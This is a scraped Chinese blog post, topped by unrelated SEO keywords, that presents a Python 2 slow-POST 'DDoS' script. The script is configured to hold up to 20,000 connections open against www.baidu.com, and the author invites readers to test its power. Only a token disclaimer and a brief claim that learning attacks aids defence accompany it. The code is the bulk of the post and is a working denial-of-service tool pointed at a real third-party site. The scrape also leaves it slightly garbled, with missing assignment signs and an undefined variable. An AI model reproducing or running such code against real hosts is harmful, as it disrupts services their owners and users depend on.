做网站的时候卖过假货而出过事,搭建网页游戏教程,自由体网站建设vr全景,wish跨境电商平台官网今天为了休息下#xff0c;换换脑子#xff0c;于是就找到了我之前收藏的一篇python的文章#xff0c;是关于ddos攻击的一个脚本#xff0c;正好今天有空#xff0c;就实践下了。
附上源码pyDdos.py:#!/usr/bin/env python
import socket
import time
import threading
#P…今天为了休息下换换脑子于是就找到了我之前收藏的一篇python的文章是关于ddos攻击的一个脚本正好今天有空就实践下了。
附上源码pyDdos.py:#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN20000
PORT80
HOSTwww.baidu.com
PAGE/index.php
#---------------------------
buf(POST %s HTTP/1.1\r\n
Host: %s\r\n
Content-Length: 10000000\r\n
Cookie: dklkt_dos_test\r\n
\r\n % (PAGE,HOST))
socks[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print Send buf OK!,conn%d\n%i
socks.append(s)
except Exception,ex:
print Could not connect to server or send error:%s%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send(f)
#print send OK!
except Exception,ex:
print Send Exception:%s\n%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_ththreading.Thread(targetconn_thread,args())
send_ththreading.Thread(targetsend_thread,args())
conn_th.start()
send_th.start()
OK大家可以简单测试下这个脚本的威力不过希望大家不要用来做坏事儿同时稍后我会去找一个python版本的防DDOS攻击的脚本所谓学习攻击的方式是为了更好的抵御攻击。
原文地址注好像这个哥们儿也是从人家别的地方抄来的但是他好像没有标注出处所以我也不知道这个原文出自哪里如有侵权请及时联系我python版本ddos脚本